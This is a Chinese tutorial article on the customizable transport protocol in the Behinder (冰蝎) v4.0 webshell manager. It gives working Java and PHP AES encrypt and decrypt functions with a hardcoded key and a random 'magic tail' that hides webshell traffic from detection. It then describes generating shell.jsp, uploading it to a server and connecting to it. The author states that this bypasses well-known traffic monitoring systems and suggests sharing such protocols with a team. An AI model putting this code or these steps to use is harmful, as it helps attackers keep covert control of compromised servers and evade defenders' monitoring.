长亭百川云 - 文章详情

冰蝎v4.0传输协议详解

银针安全

115

2024-07-13

  • 前言

  • 传输协议

  • 工作流程

  • 实例演示

  • 本地

  • 远程

  • 本地

  • 远程

  • 加密算法

  • 解密算法

  • 即时验证

  • 本地验证

  • 远程验证

  • 生成服务端

  • 分享和导入

  • 总结

前言

冰蝎v4.0相对于3.0版本,更新了较多内容,其中包括了开放了传输协议的自定义功能,本文将基于Behinder v4.0.4对自定义传输协议模块进行简单的介绍。

传输协议

在流量层,冰蝎的aes特征一直是厂商查杀的重点,在主机层,aes相关的API也是一个强特征。既然是特征,那就一定存在一个一成不变的常量,那我们就把这个特征泛化一下,让他成为变量。为了一劳永逸解决这个问题,v4.0版本提供了传输协议自定义功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。v4.0版本不再有连接密码的概念,你的自定义传输协议的算法就是连接密码。

工作流程

首先看一下冰蝎Payload流转的流程图:

图 1

  1. 本地对Payload进行加密,然后通过POST请求发送给远程服务端;

  2. 服务端收到Payload密文后,利用解密算法进行解密;

  3. 服务端执行解密后的Payload,并获取执行结果;

  4. 服务端对Payload执行结果进行加密,然后返回给本地客户端;

  5. 客户端收到响应密文后,利用解密算法解密,得到响应内容明文。

由上述流程可知,一个完整的传输协议由两部分组成,本地协议和远程协议。由于客户端使用Java开发,因此本地协议的加解密算法需要用Java实现。远程协议根据服务端语言类型,可能为Java、PHP、C#、ASP。无论用哪种语言,同一个名称的传输协议,本地和远程的加解密逻辑应该是一致的,这样才能实现本地加密后,远程可以成功解密,远程加密后,本地同样也可以解密(因此如果修改默认的aes协议的key,则需要同时修改本地和远程的加密函数和加密函数中的key)。

一个传输协议必须包含一对本地加解密函数,至少包含一对远程加解密函数(Java、PHP、C#、ASP中的一个或者多个)。

由于本地是Java,因此本地加解密函数会默认作为远程Java版本的加解密函数。

如下是一个最简单的php版本的传输协议:

图 2

传输协议的加解密函数名称分别为Encrypt和Decrypt,且都只有一个入参,参数类型为二进制字节流。在函加密数体内可以对字节流做任何加密,比如aes、rsa或者各种封装、拼接、自定义算法等等,最终将加密结果返回。在解密函数中利用对称算法将加密函数的结果进行解密,并将解密结果返回。为了能清晰展示传输协议的结构,上图中的传输协议其实未做任何加解密处理,直接将入参返回,是一个纯明文的传输协议。

实例演示

简单的demo介绍完了,下面来一个真实有用的例子。假设如下场景:服务端是PHP,使用默认的aes算法,但是由于默认使用的是aes128的算法,会导致密文长度恒是16的整数倍,流量设备可能通过这个特征来对冰蝎做流量识别,我现在想对默认算法做一个简单修改,在密文最后最加一个magic尾巴,随机产生一个随机长度的额外字节数组,实现如下:

private byte[] getMagic() throws Exception {  
	String key="e45e329feb5d925b";  
	int magicNum=Integer.parseInt(key.substring(0,2),16)%16;  
	Random random=new Random();  
	byte[] buf=new byte[magicNum];  
	for (int i=0;i<buf.length;i++)  
	{  
		buf[i]=(byte)random.nextInt(256);  
	}  
	return buf;  
}

然后我们把这段代码加入到我们的传输协议里面。

加密算法

本地

本地默认的aes传输协议加密算法如下:

private byte[] Encrypt(byte[] data) throws Exception  
{  
    String key="e45e329feb5d925b";  
    byte[] raw = key.getBytes("utf-8");  
    javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");  
    javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"  
    cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);  
    byte[] encrypted = cipher.doFinal(data);  
    Class baseCls;  
    try  
    {  
        baseCls=Class.forName("java.util.Base64");  
        Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);  
        encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});  
    }  
    catch (Throwable error)  
    {  
        baseCls=Class.forName("sun.misc.BASE64Encoder");  
        Object Encoder=baseCls.newInstance();  
        String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});  
        result=result.replace("\n", "").replace("\r", "");  
        encrypted=result.getBytes();  
    }  
    return encrypted;  
}

修改后:

private byte[] Encrypt(byte[] data) throws Exception  
{  
    String key="e45e329feb5d925b";  
    byte[] raw = key.getBytes("utf-8");  
    javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");  
    javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"  
    cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);  
    byte[] encrypted = cipher.doFinal(data);  
    Class baseCls;  
    try  
    {  
        baseCls=Class.forName("java.util.Base64");  
        Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);  
        encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});  
    }  
    catch (Throwable error)  
    {  
        baseCls=Class.forName("sun.misc.BASE64Encoder");  
        Object Encoder=baseCls.newInstance();  
        String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});  
        result=result.replace("\n", "").replace("\r", "");  
        encrypted=result.getBytes();  
    }  
    //增加魔法尾巴  
    int magicNum=Integer.parseInt(key.substring(0,2),16)%16;  
    java.util.Random random=new java.util.Random();  
    byte[] buf=new byte[magicNum];  
    for (int i=0;i<buf.length;i++)  
    {  
        buf[i]=(byte)random.nextInt(256);  
    }  
    java.io.ByteArrayOutputStream output = new java.io.ByteArrayOutputStream();  
    output.write(encrypted);  
    output.write(buf);  
    return output.toByteArray();  
}

远程

由于我们目前假设的是一个PHP的目标环境,远程加密函数采用PHP格式编写,如下:

function Encrypt($data)  
{  
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond  
    $encrypted=base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING));  
    $magicNum=hexdec(substr($key,0,2))%16; //根据密钥动态确定魔法尾巴的长度  
    for($i=0;$i<$magicNum;$i++)  
    {  
        $encrypted=$encrypted.chr(mt_rand(0, 255)); //拼接魔法尾巴  
    }  
    return $encrypted;  
}

解密算法

在加密算法中,我们在原版aes的基础上,在密文最后追加了一段魔法尾巴,尾巴长度为秘钥的前两位十六进制对应的数值对16取模的值。在解密时,我们只需要在原版aes解密函数的基础上,把密文最后的尾巴截掉即可。分别对Java版本和PHP版本的解密函数做修改。

本地

private byte[] Decrypt(byte[] data) throws Exception  
{  
    String k="e45e329feb5d925b";  
    int magicNum=Integer.parseInt(k.substring(0,2),16)%16; //取magic tail长度  
    data=java.util.Arrays.copyOfRange(data,0,data.length-magicNum); //截掉magic tail  
    javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));  
    byte[] decodebs;  
    Class baseCls ;  
            try{  
                baseCls=Class.forName("java.util.Base64");  
                Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);  
                decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});  
            }  
            catch (Throwable e)  
            {  
                baseCls = Class.forName("sun.misc.BASE64Decoder");  
                Object Decoder=baseCls.newInstance();  
                decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});  
  
            }  
    return c.doFinal(decodebs);  
}

远程

对应的php版本如下:

function Decrypt($data)  
{  
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond  
    $magicNum=hexdec(substr($key,0,2))%16; //取magic tail长度  
    $data=substr($data,0,strlen($data)-$magicNum); //截掉magic tail  
    return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);  
}

把本地加解密函数输入到本地Tab里面,如下:

图 3

单击“保存”后,冰蝎会对加解密函数对进行一致性校验,校验通过提示保存成功,校验失败会弹框提示,确认后仍可继续保存。

把远程加解密函数输入到远程Tab里面,如下:

图 4

即时验证

为了方便加解密一致性校验,冰蝎提供了即时加解密验证功能,输入加解密函数以后,可直接在窗口下方进行验证。

本地验证

在第一个文本框随意输入一段明文,点击加密,冰蝎后台会对当前加密函数进行动态编译并执行,然后将加密结果显示在第二个文本框,如下图:

图 5

同样地,点击解密,冰蝎后台会对当前解密函数进行动态编译并执行,将第二个文本框中的密文解密,然后将解密结果显示在第二个文本框,如下图:

图 6

提示:为了对服务端可能存在的老版本Java保持更好的兼容性,建议在开发时不要使用太新的语法,如lamda表达式等。

远程验证

因为本地的加解密是用Java语言编写,因此可以使用本机的Java环境进行动态编译、执行、验证。而远程的加解密函数可能是C#或者PHP等语言开发的,是不是就不好即时验证了呢?当然不是,记得我们的客户端有个Eval自定义码执行的功能,此处我们可以复用该模块进行加解密函数验证。

比如我要验证PHP版本的加解密函数,只要先在shell列表中添加一个可成功连接的php shell,然后验证的时候选择该shell即可。冰蝎会在后端连接该shell,并将加解密代码以自定义代码的形式发送至远程服务器进行执行、验证,如下图:

图 7

如果输入的明文与经过加密再解密后,得到的内容一致,那说明该传输协议的加解密是一致的。

到此,aes_with_magic这个传输协议的Java版本和PHP版本就开发完毕了。

生成服务端

可以注意到,冰蝎v4.0版本没有再附带server端代码,因为加解密函数是不固定的,因此服务端也是动态生成的。首先在“协议名称”中选中我们的服务端需要使用的传输协议,点击“生成服务端”,即可生成,如下:

图 8

将shell.jsp上传至服务器,然后新增shell,传输协议选择aes_with_magic,如下:

图 9

连接成功:

图 10

抓包可以看到请求和响应体中,都在密文最后增加了一个尾巴,如下:

图 11

图 12

这几个字节的尾巴有什么用呢?实际上,这几个字节的尾巴,可以绕过几大知名流量监测系统:)

分享和导入

如果你开发了一个私有的加解密算法后,并且他也可以很好的绕过流量监测,那你可以通过“分享”按钮将传输协议分享给你的团队,提高工作效率。

总结

以上通过一个实例对冰蝎v4.0的自定义传输协议功能做了一个简略的介绍,你可以自己发挥无限想象,来开发自己的私有传输协议,比如封装成图片、JSON、文档、HTML、XML等等。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2